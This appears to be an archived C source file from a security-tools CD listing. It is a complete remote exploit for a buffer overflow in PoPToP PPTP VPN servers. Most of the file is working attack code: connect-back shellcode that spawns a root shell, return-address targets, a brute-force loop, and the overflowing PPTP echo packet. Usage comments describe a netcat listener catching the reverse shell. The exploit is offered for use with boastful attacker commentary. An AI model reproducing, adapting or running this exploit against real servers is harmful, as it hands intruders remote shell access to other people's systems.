home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / vpn / poptop / poptop-sane.c < prev   
C/C++ Source or Header  |  2005-02-12  |  10KB  |  333 lines

  1. /*
  2.  * Fixed Exploit against PoPToP in Linux (poptop-sane.c)
  3.  * ./r4nc0rwh0r3 of blightninjas (blightninjas@hushmail.com)
  4.  *
  5.  * blightninjas: bringing pain, suffering, and humiliation to the security world
  6.  * Expect more great release like helloworld-annotated.c and
  7.  * cd explained whitepaper, we are working hard in da underground
  8.  *
  9.  * Other Editions Available At:
  10.  *   http://www.freewebs.com/blightninjas/
  11.  *
  12.  *  *** Bugtraq Clean Edition ***
  13.  * Based off of code by einstein_dhtm@front.ru
  14.  * 
  15.  * Notes on the exploit:
  16.  * This was only tested under slackware, RET_OFF could possibly
  17.  * be different.
  18.  * You can have nulls in the shellcode (the hole is in a read())
  19.  * This allows you to have ips and ports with nulls in them
  20.  * 
  21.  * Shouts to ADM, TESO, and all the other "cool" groups that never give us 0day
  22.  *
  23.  * Examples:
  24.  * attack target 1
  25.  * nc -v -l -p 10000 <-- on 1.1.1.2
  26.  * ./poptop-sane 1.1.1.1 1.1.1.2 10000 -t 1
  27.  * don't come to use, we come to you.
  28.  *
  29.  * ./poptop-sane 1.1.1.1 1.1.1.2 10000 -t
  30.  * list targets
  31.  *
  32.  * ./poptop-sane 1.1.1.1 1.1.1.2 10000 -r 0xbffff600
  33.  * attack using ret address 0xbffff600
  34.  *
  35.  * I think you get the point
  36.  */
  37.  
  38. #include <stdio.h>
  39. #include <sys/socket.h>
  40. #include <netinet/in.h>
  41. #include <signal.h>
  42.  
  43. #define NOP_LENGTH 140
  44. // I calculate at 336, I'll fudge to make more general
  45. #define RET_OFF 320
  46. #define MAX_HOSTNAME_SIZE               64
  47. #define MAX_VENDOR_SIZE                 64
  48. #define PPTP_VERSION                    0x0100
  49. /* Magic Cookie */
  50. #define PPTP_MAGIC_COOKIE               0x1a2b3c4d
  51.  
  52. /* Message types */
  53. #define PPTP_CTRL_MESSAGE               1
  54.  
  55. /* Control Connection Management */
  56. #define START_CTRL_CONN_RQST            1
  57. #define START_CTRL_CONN_RPLY            2
  58. #define STOP_CTRL_CONN_RQST             3
  59. #define STOP_CTRL_CONN_RPLY             4
  60. #define ECHO_RQST                       5
  61. #define ECHO_RPLY                       6
  62.  
  63. // brute force values
  64. // Values can be increased both ways
  65. #define TOPOFSTACK 0xbffff800
  66. #define BOTTOMOFSTACK 0xbffff000
  67. #define STEP 64
  68.  
  69. /* esdee I love you, call me sometime */
  70. char
  71. shellcode[] = 
  72.   "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
  73.   "\x06\x51\xb1\x01\x51\xb1\x02\x51"
  74.   "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
  75.   "\x89\xc2\x31\xc0\x31\xc9\x51\x51"
  76.   "\x68\x41\x42\x43\x44\x66\x68\xb0"
  77.   "\xef\xb1\x02\x66\x51\x89\xe7\xb3"
  78.   "\x10\x53\x57\x52\x89\xe1\xb3\x03"
  79.   "\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
  80.   "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
  81.   "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
  82.   "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
  83.   "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
  84.   "\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
  85.   "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
  86.   "\x2f\x62\x69\x89\xe3\x50\x53\x89"
  87.   "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
  88.   "\x01\xcd\x80";
  89.  
  90. int st;
  91. struct target {
  92.   char *desc;
  93.   u_int32_t ret;
  94. } targets[] =
  95. {
  96.   {"Slackware 8.0 Linux 2.4.18 pptpd-1.0.1", 0xbffff540},
  97.   {"Slackware 8.0 Linux 2.4.18 pptpd-1.1.3", 0xbffff580},
  98. };
  99.   
  100. struct pptp_header {
  101.   u_int16_t length;               /* pptp message length incl header */
  102.   u_int16_t pptp_type;            /* pptp message type */
  103.   u_int32_t magic;                /* magic cookie */
  104.   u_int16_t ctrl_type;            /* control message type */
  105.   u_int16_t reserved0;            /* reserved */
  106. };
  107.  
  108. struct pptp_start_ctrl_conn_rqst {
  109.   struct pptp_header header;      /* pptp header */
  110.   u_int16_t version;              /* pptp protocol version */
  111.   u_int16_t reserved1;            /* reserved */
  112.   u_int32_t framing_cap;          /* framing capabilities */
  113.   u_int32_t bearer_cap;           /* bearer capabilities */
  114.   u_int16_t max_channels;         /* maximum channels */
  115.   u_int16_t firmware_rev;         /* firmware revision */
  116.   u_int8_t hostname[MAX_HOSTNAME_SIZE];   /* hostname */
  117.   u_int8_t vendor[MAX_VENDOR_SIZE];       /* vendor */
  118. };
  119.  
  120. struct pptp_echo_rqst {
  121.   struct pptp_header header;      /* header */
  122.   u_int32_t identifier;           /* value to match rply with rqst */
  123.   char buf[10000];
  124. };
  125.  
  126. struct pptp_reply {
  127.   struct pptp_header header;      /* header */
  128.   char buf[10000];
  129. };
  130.  
  131. void catch_pipe() {
  132.   printf("Broken pipe caught, server most likely patched.\n");
  133.   exit(1);
  134. }
  135. void send_init_request(int st)
  136. {
  137.   struct pptp_start_ctrl_conn_rqst request;
  138.   request.header.magic = htonl(PPTP_MAGIC_COOKIE);
  139.   request.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
  140.   request.header.ctrl_type = htons(START_CTRL_CONN_RQST);
  141.   
  142.   request.version = PPTP_VERSION;
  143.   request.framing_cap = 0;
  144.   request.bearer_cap = 0;
  145.   request.max_channels = 1;
  146.   request.firmware_rev = 0;
  147.   strcpy(request.hostname,"hell");
  148.   strcpy(request.vendor,"domain HELL");
  149.   request.header.length = ntohs(sizeof(request));
  150.   
  151.   send(st,(char*)&request,sizeof(request),0);
  152. }
  153.  
  154. void send_ping_overflow(int st, u_int32_t ret, char *hostname, short port)
  155.   struct pptp_echo_rqst ping;
  156.   int i, buflen = 500;
  157.  
  158.   ping.header.magic = htonl(PPTP_MAGIC_COOKIE);
  159.   ping.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
  160.   ping.header.ctrl_type = htons(ECHO_RQST);
  161.   ping.identifier = 111;  
  162.   ping.header.length = ntohs(1);
  163.  
  164.   for (i = 0; i < NOP_LENGTH; i++) ping.buf[i] = '\x90';      
  165.  
  166.   *(unsigned long int*)(shellcode+33) = inet_addr(hostname);
  167.   *(unsigned short int*)(shellcode+39) = htons(port);
  168.  
  169.   memcpy(ping.buf+NOP_LENGTH,shellcode,sizeof(shellcode));
  170.   for(i = RET_OFF; i < buflen - 4; i+=4)
  171.     memcpy(ping.buf+i,(char*)&ret,4); 
  172.  
  173.   send(st,(char*)&ping,sizeof(ping.header)+buflen,0); 
  174. }
  175.  
  176. int connect_server(char* hostname)
  177. {
  178.   struct sockaddr_in addr;
  179.   st=socket(PF_INET,SOCK_STREAM,0);
  180.   if ((st=socket(PF_INET,SOCK_STREAM,0)) == -1) return 0;
  181.  
  182.   addr.sin_family=AF_INET;
  183.   addr.sin_port=0;
  184.   addr.sin_addr.s_addr=0;
  185.   bind(st, (struct sockaddr *)&addr,sizeof(struct sockaddr));
  186.   
  187.   addr.sin_family=AF_INET;
  188.   addr.sin_port=htons(1723);
  189.   addr.sin_addr.s_addr=inet_addr(hostname);
  190.   printf("connecting... ");
  191.   if ((connect(st,(struct sockaddr*)&addr,sizeof(addr))) != 0)
  192.   {
  193.     perror("connect");
  194.     return 0;
  195.   }
  196.   return 1;
  197. }
  198.  
  199. int main(int argc, char** argv)
  200. {
  201.   struct pptp_reply reply;
  202.   // rushing things only makes it worse
  203.   int timeout = 1000;
  204.   u_int32_t ret;
  205.   int bytes, j, checked = 0;
  206.   signal(SIGPIPE, catch_pipe);
  207.   printf("\n");
  208.   // Sorry, I failed REALLY FUCKING LAME ASCII ART class
  209.   printf("        D     A     SSSSS                           \n");
  210.   printf("        D    A A    S     SSSSS     T\n");
  211.   printf("        D   A   A   S     S         T     EE    AA   M   M \n");
  212.   printf("    DDD D  AAAAAAA  SSSSS S         T    E  E  A  A  MM MM \n");
  213.   printf("   D   DD  A     A      S SSSSS    TTTT  E  E  A  A  MM MM \n");
  214.   printf("  D     D  A     A      S     S     T    EEE   AAAA  M M M \n");
  215.   printf("   D    D  A     A  SSSSS     S     T    E     A  A  M   M \n");
  216.   printf("    DDDD   A     A        SSSSS      TTT  EEE  A  A  M   M   ");
  217.   printf(" ... presents ... \n\n");                
  218.   printf("Exploit for PoPToP PPTP server older than\n1.1.4-b3 and 1.1.3-20030409 under Linux.\n");
  219.   printf("by .einstein., April 2003.  <-- the genius\n\n");
  220.   printf("fixed by ./r4nc0rwh0r3 of blightninjas  blightninjas@hushmail.com\n\n");
  221.   if (argc < 2)
  222.   {
  223.     printf("usage: \n");
  224.     printf("  %s <pptp_server> [your_ip] [your_port] ...\n",argv[0]);
  225.     printf("   -b [timeout in ms]\n");
  226.     printf("   -t [target]\n");
  227.     printf("   -r [ret address]\n");
  228.     //Abridged edition 
  229.     printf(" Only supply pptp_server to test exploitability using really poor method.\n");
  230.     printf(" Connect back to your_ip at your_port.\n\n");
  231.     return 0;
  232.   }
  233.  
  234.   if (argc == 2)
  235.   {
  236.     if (!connect_server(argv[1])) return 1;
  237.   
  238.     printf("\nChecking if the server is vulnerable..\n");
  239.     printf("(if it is you have to wait 65 seconds)..\n");
  240.     send_init_request(st);
  241.   
  242.     ret = 0x01010101;
  243.   
  244.     //header length
  245.     bytes = recv(st,(char*)&reply,2,0);
  246.     bytes = ntohs(reply.header.length);
  247.     bytes = recv(st,(char*)&reply+2,bytes-2,0);
  248.     j = htons(reply.header.ctrl_type);
  249.     send_ping_overflow(st,ret,"0.0.0.0",0);
  250.   
  251.     //header length
  252.     bytes = recv(st,(char*)&reply,2,0);
  253.     printf("PoPToP server is ");
  254.     if ((bytes = recv(st,(char*)&reply,2,0)) != -1) printf("vulnerable!\n");
  255.     else printf("not vulnerable\n");
  256.     close(st);
  257.   
  258.     return 1;
  259.   }
  260.   if(argc < 5) exit(1);
  261.   else if(strncmp(argv[4], "-b", 2) == 0) {
  262.     if(argc == 6) timeout = atoi(argv[5]);
  263.     printf("[!] Attempting bruteforce against %s, timeout: %d\n", argv[1], timeout);
  264.     printf("interrupt when you get a shell to %s on port %d...\n\n",argv[2],atoi(argv[3]));
  265.  
  266.     for (ret = TOPOFSTACK; ret >=BOTTOMOFSTACK; ret -= STEP) {
  267.       printf("[*] ");
  268.       if (!connect_server(argv[1])) return 1;
  269.       printf("[ret=0x%x]..",ret);
  270.       printf("sending payload..");
  271.  
  272.       // initial packet
  273.       send_init_request(st);
  274.  
  275.       //a real overflowing ping packet
  276.       send_ping_overflow(st,ret,argv[2],atoi(argv[3]));
  277.       close(st);
  278.  
  279.       usleep(timeout * 1000);
  280.       printf("done\n");
  281.     }
  282.   }
  283.   else if(strncmp(argv[4], "-t", 2) == 0) {
  284.     if(argc == 6 && atoi(argv[5]) >= 0
  285.      && atoi(argv[5]) < sizeof(targets)/sizeof(struct target)) {
  286.       ret = targets[atoi(argv[5])].ret;
  287.       printf("[!] Attacking %s using %s\n", argv[1], targets[atoi(argv[5])].desc);
  288.  
  289.       printf("[*] ");
  290.       if (!connect_server(argv[1])) return 1;
  291.       printf("[ret=0x%x]..",ret);
  292.       printf("sending payload..");
  293.  
  294.       // initial packet
  295.       send_init_request(st);
  296.  
  297.       //a real overflowing ping packet
  298.       send_ping_overflow(st,ret,argv[2],atoi(argv[3]));
  299.       close(st);
  300.  
  301.       printf("done\n");
  302.     }
  303.     else {
  304.       for(j = 0; j < sizeof(targets)/sizeof(struct target); j++) {
  305.         printf("%02d - %s\n", j, targets[j].desc);
  306.       }
  307.       printf("\n");
  308.     }
  309.   }
  310.   else if(strncmp(argv[4], "-r", 2) == 0) {
  311.     if(argc == 6) {
  312.       sscanf(argv[5], "%x", (unsigned int *)&ret);
  313.       printf("[!] Attacking %s\n", argv[1]);
  314.  
  315.       printf("[*] ");
  316.       if (!connect_server(argv[1])) return 1;
  317.       printf("[ret=0x%x]..",ret);
  318.       printf("sending payload..");
  319.  
  320.       // initial packet
  321.       send_init_request(st);
  322.  
  323.       //a real overflowing ping packet
  324.       send_ping_overflow(st,ret,argv[2],atoi(argv[3]));
  325.       close(st);
  326.  
  327.       printf("done\n");
  328.     }
  329.   }
  330.   return 0;
  331. }
  332.